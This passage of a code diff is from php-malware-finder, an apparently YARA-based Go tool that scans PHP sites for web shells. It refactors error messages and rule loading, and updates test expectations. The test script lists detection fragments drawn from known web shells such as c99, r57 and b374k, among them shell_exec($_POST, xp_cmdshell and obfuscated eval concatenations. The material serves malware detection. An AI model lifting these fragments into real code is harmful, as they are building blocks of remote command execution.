| 122 | // File reading is done using a 32KB buffer to minimize memory usage. | 170 | // File reading is done using a 32KB buffer to minimize memory usage. |
| 123 | func fileStats(filepath string) (int, int, error) { | 171 | func fileStats(filepath string) (int, int, error) { |
| 124 | f, err := os.Open(filepath) | 172 | f, err := os.Open(filepath) |
| 125 | handleError(err, true) | 173 | if err != nil { |
| 174 | return 0, 0, err | ||
| 175 | } | ||
| 126 | defer func() { | 176 | defer func() { |
| 127 | err := f.Close() | 177 | err := f.Close() |
| 128 | handleError(err, false) | 178 | handleError(err, "unable to close file", false) |
| 129 | }() | 179 | }() |
| 130 | charCount, lineCount := 0, 0 | 180 | charCount, lineCount := 0, 0 |
| 131 | buf := make([]byte, FileBufferSize) | 181 | buf := make([]byte, FileBufferSize) |
| @@ -145,7 +195,7 @@ func fileStats(filepath string) (int, int, error) { | |||
| 145 | // makeScanner creates a YARA scanner with the appropriate options set. | 195 | // makeScanner creates a YARA scanner with the appropriate options set. |
| 146 | func makeScanner(rules *yara.Rules) *yara.Scanner { | 196 | func makeScanner(rules *yara.Rules) *yara.Scanner { |
| 147 | scanner, err := yara.NewScanner(rules) | 197 | scanner, err := yara.NewScanner(rules) |
| 148 | handleError(err, true) | 198 | handleError(err, "unable to create YARA scanner", true) |
| 149 | scanner.SetFlags(scanFlags) | 199 | scanner.SetFlags(scanFlags) |
| 150 | scanner.SetTimeout(ScanMaxDuration) | 200 | scanner.SetTimeout(ScanMaxDuration) |
| 151 | return scanner | 201 | return scanner |
| @@ -163,7 +213,7 @@ func processFiles(rules *yara.Rules, targets <-chan string, results chan<- map[s | |||
| 163 | 213 | ||
| 164 | if args.LongLines { | 214 | if args.LongLines { |
| 165 | charCount, lineCount, err := fileStats(target) | 215 | charCount, lineCount, err := fileStats(target) |
| 166 | handleError(err, false) | 216 | handleError(err, "unable to get file stats", false) |
| 167 | if lineCount <= TooShortMaxLines && charCount >= TooShortMinChars { | 217 | if lineCount <= TooShortMaxLines && charCount >= TooShortMinChars { |
| 168 | tooShort := yara.MatchRule{Rule: TooShort} | 218 | tooShort := yara.MatchRule{Rule: TooShort} |
| 169 | result[target] = append(result[target], tooShort) | 219 | result[target] = append(result[target], tooShort) |
| @@ -206,7 +256,7 @@ func scanDir(dirName string, targets chan<- string, ticker <-chan time.Time) { | |||
| 206 | return nil | 256 | return nil |
| 207 | } | 257 | } |
| 208 | err := filepath.Walk(dirName, visit) | 258 | err := filepath.Walk(dirName, visit) |
| 209 | handleError(err, false) | 259 | handleError(err, "unable to complete target crawling", false) |
| 210 | close(targets) | 260 | close(targets) |
| 211 | } | 261 | } |
| 212 | 262 | ||
| @@ -249,18 +299,17 @@ func loadRulesFile(fileName string) (*yara.Rules, error) { | |||
| 249 | func main() { | 299 | func main() { |
| 250 | startTime := time.Now() | 300 | startTime := time.Now() |
| 251 | _, err := flags.Parse(&args) | 301 | _, err := flags.Parse(&args) |
| 252 | handleError(err, true) | 302 | if err != nil { |
| 303 | os.Exit(1) | ||
| 304 | } | ||
| 305 | if args.ShowVersion { | ||
| 306 | println(version) | ||
| 307 | os.Exit(0) | ||
| 308 | } | ||
| 253 | 309 | ||
| 254 | // check rules path | 310 | // check rules path |
| 255 | if args.RulesDir == "" { | 311 | if args.RulesDir == "" { |
| 256 | args.RulesDir = DefaultDir | 312 | args.RulesDir = writeRulesFiles(data) |
| 257 | if _, err := os.Stat(args.RulesDir); os.IsNotExist(err) { | ||
| 258 | args.RulesDir, _ = os.Getwd() | ||
| 259 | sigFile := path.Join(args.RulesDir, RulesFile) | ||
| 260 | if _, err = os.Stat(sigFile); os.IsNotExist(err) { | ||
| 261 | handleError(fmt.Errorf("no rules in %s or %s", DefaultDir, args.RulesDir), true) | ||
| 262 | } | ||
| 263 | } | ||
| 264 | } | 313 | } |
| 265 | if args.Verbose { | 314 | if args.Verbose { |
| 266 | log.Println("[DEBUG] rules directory:", args.RulesDir) | 315 | log.Println("[DEBUG] rules directory:", args.RulesDir) |
| @@ -302,7 +351,7 @@ func main() { | |||
| 302 | // load YARA rules | 351 | // load YARA rules |
| 303 | rulePath := path.Join(args.RulesDir, RulesFile) | 352 | rulePath := path.Join(args.RulesDir, RulesFile) |
| 304 | rules, err := loadRulesFile(rulePath) | 353 | rules, err := loadRulesFile(rulePath) |
| 305 | handleError(err, true) | 354 | handleError(err, "", true) |
| 306 | if args.Verbose { | 355 | if args.Verbose { |
| 307 | log.Println("[DEBUG] ruleset loaded:", rulePath) | 356 | log.Println("[DEBUG] ruleset loaded:", rulePath) |
| 308 | } | 357 | } |
| @@ -322,7 +371,7 @@ func main() { | |||
| 322 | 371 | ||
| 323 | // scan target | 372 | // scan target |
| 324 | if f, err := os.Stat(args.Positional.Target); os.IsNotExist(err) { | 373 | if f, err := os.Stat(args.Positional.Target); os.IsNotExist(err) { |
| 325 | handleError(err, true) | 374 | handleError(err, "", true) |
| 326 | } else { | 375 | } else { |
| 327 | if args.Verbose { | 376 | if args.Verbose { |
| 328 | log.Println("[DEBUG] scan workers:", args.Workers) | 377 | log.Println("[DEBUG] scan workers:", args.Workers) |
| @@ -387,7 +436,7 @@ func main() { | |||
| 387 | var matches yara.MatchRules | 436 | var matches yara.MatchRules |
| 388 | scanner := makeScanner(rules) | 437 | scanner := makeScanner(rules) |
| 389 | err := scanner.SetCallback(&matches).ScanFile(args.Positional.Target) | 438 | err := scanner.SetCallback(&matches).ScanFile(args.Positional.Target) |
| 390 | handleError(err, true) | 439 | handleError(err, "unable to scan target", true) |
| 391 | for _, match := range matches { | 440 | for _, match := range matches { |
| 392 | log.Println("[WARNING] match found:", args.Positional.Target, match.Rule) | 441 | log.Println("[WARNING] match found:", args.Positional.Target, match.Rule) |
| 393 | if args.Verbose { | 442 | if args.Verbose { |
| @@ -405,4 +454,13 @@ func main() { | |||
| 405 | log.Printf("[DEBUG] scanned %d files in %s\n", scannedFilesCount, endTime.Sub(startTime).String()) | 454 | log.Printf("[DEBUG] scanned %d files in %s\n", scannedFilesCount, endTime.Sub(startTime).String()) |
| 406 | } | 455 | } |
| 407 | } | 456 | } |
| 457 | |||
| 458 | // delete temporary files | ||
| 459 | if strings.HasPrefix(args.RulesDir, tempDirPathPrefix) { | ||
| 460 | if args.Verbose { | ||
| 461 | log.Println("[DEBUG] deleting temporary folder:", args.RulesDir) | ||
| 462 | } | ||
| 463 | err := os.RemoveAll(args.RulesDir) | ||
| 464 | handleError(err, "unable to delete temporary folder", true) | ||
| 465 | } | ||
| 408 | } | 466 | } |
diff --git a/php-malware-finder/tests.sh b/tests.sh index f8c5109..a302031 100755 --- a/php-malware-finder/tests.sh +++ b/tests.sh | |||
| @@ -1,7 +1,7 @@ | |||
| 1 | #!/bin/bash | 1 | #!/bin/bash |
| 2 | 2 | ||
| 3 | PMF=./phpmalwarefinder | 3 | PMF=./php-malware-finder |
| 4 | SAMPLES=./samples | 4 | SAMPLES=./data/samples |
| 5 | 5 | ||
| 6 | type yara 2>/dev/null 1>&2 || (echo "[-] Please make sure that yara is installed" && exit 1) | 6 | type yara 2>/dev/null 1>&2 || (echo "[-] Please make sure that yara is installed" && exit 1) |
| 7 | 7 | ||
| @@ -29,17 +29,17 @@ run_test classic/ajaxshell.php 'DodgyStrings' | |||
| 29 | run_test classic/ajaxshell.php '0x23e2:$: shell_exec' | 29 | run_test classic/ajaxshell.php '0x23e2:$: shell_exec' |
| 30 | run_test classic/ajaxshell.php "0x16e0:\$ini_get: ini_get('safe_mode" | 30 | run_test classic/ajaxshell.php "0x16e0:\$ini_get: ini_get('safe_mode" |
| 31 | run_test classic/ajaxshell.php "0x17f1:\$ini_get: ini_get('open_basedir" | 31 | run_test classic/ajaxshell.php "0x17f1:\$ini_get: ini_get('open_basedir" |
| 32 | run_test classic/angel.php '0x1d:$disable_magic_quotes:' | 32 | run_test classic/angel.php '0x1b:$disable_magic_quotes:' |
| 33 | run_test classic/b374k.php 'ObfuscatedPhp' | 33 | run_test classic/b374k.php 'ObfuscatedPhp' |
| 34 | run_test classic/b374k.php "0xe9:\$b374k: 'ev'.'al'" | 34 | run_test classic/b374k.php "0xe9:\$b374k: 'ev'.'al'" |
| 35 | run_test classic/b374k.php '0xb3:$align: $func="cr"."eat"."e_fun"."cti"."on";$b374k=$func(' | 35 | run_test classic/b374k.php '0xb3:$align: $func="cr"."eat"."e_fun"."cti"."on";$b374k=$func(' |
| 36 | run_test classic/b374k.php '0xd6:$align: ;$b374k=$func(' | 36 | run_test classic/b374k.php '0xd6:$align: ;$b374k=$func(' |
| 37 | run_test classic/b374k.php '0x43:$: github.com/b374k/b374k' | 37 | run_test classic/b374k.php '0x43:$: github.com/b374k/b374k' |
| 38 | run_test classic/sosyete.php '0x1a2d:$execution: shell_exec($_POST' | 38 | run_test classic/sosyete.php '0x194e:$execution: shell_exec($_POST' |
| 39 | run_test classic/simattacker.php '0x16e:$: fpassthru' | 39 | run_test classic/simattacker.php '0x158:$: fpassthru' |
| 40 | run_test classic/r57.php '0x149da:$: xp_cmdshell' | 40 | run_test classic/r57.php '0x142a2:$: xp_cmdshell' |
| 41 | run_test classic/cyb3rsh3ll.php '0x23323:$udp_dos: fsockopen("udp://' | 41 | run_test classic/cyb3rsh3ll.php '0x2200d:$udp_dos: fsockopen("udp://' |
| 42 | run_test classic/c99.php '0x3d56:$eval: {exec(' | 42 | run_test classic/c99.php '0x3bb4:$eval: {exec(' |
| 43 | run_test classic/c100.php '0x4f8d:$eval: {eval(' | 43 | run_test classic/c100.php '0x4f8d:$eval: {eval(' |
| 44 | 44 | ||
| 45 | # Obfuscated php | 45 | # Obfuscated php |
| @@ -81,7 +81,7 @@ run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" | |||
| 81 | # real | 81 | # real |
| 82 | run_test real/sucuri_2014_04.php '0x67:$execution3:' | 82 | run_test real/sucuri_2014_04.php '0x67:$execution3:' |
| 83 | run_test real/novahot.php 'DodgyStrings' | 83 | run_test real/novahot.php 'DodgyStrings' |
| 84 | run_test real/guidtz.php '0x12d8:$non_printables:' | 84 | run_test real/guidtz.php '0x286:$non_printables:' |
| 85 | run_test real/ice.php 'double_var' | 85 | run_test real/ice.php 'double_var' |
| 86 | run_test real/srt.php '$register_function' | 86 | run_test real/srt.php '$register_function' |
| 87 | run_test real/awvjtnz.php '$reversed:' | 87 | run_test real/awvjtnz.php '$reversed:' |
diff --git a/php-malware-finder/utils/generate_whitelist.py b/utils/generate_whitelist.py index dabaa21..dabaa21 100755 --- a/php-malware-finder/utils/generate_whitelist.py +++ b/utils/generate_whitelist.py | |||
diff --git a/php-malware-finder/utils/magento1_whitelist.sh b/utils/magento1_whitelist.sh index a747f80..a747f80 100755 --- a/php-malware-finder/utils/magento1_whitelist.sh +++ b/utils/magento1_whitelist.sh | |||
diff --git a/php-malware-finder/utils/magento2_whitelist.sh b/utils/magento2_whitelist.sh index bb742c8..bb742c8 100755 --- a/php-malware-finder/utils/magento2_whitelist.sh +++ b/utils/magento2_whitelist.sh | |||
diff --git a/php-malware-finder/utils/mass_whitelist.py b/utils/mass_whitelist.py index 868f7b5..868f7b5 100755 --- a/php-malware-finder/utils/mass_whitelist.py +++ b/utils/mass_whitelist.py | |||
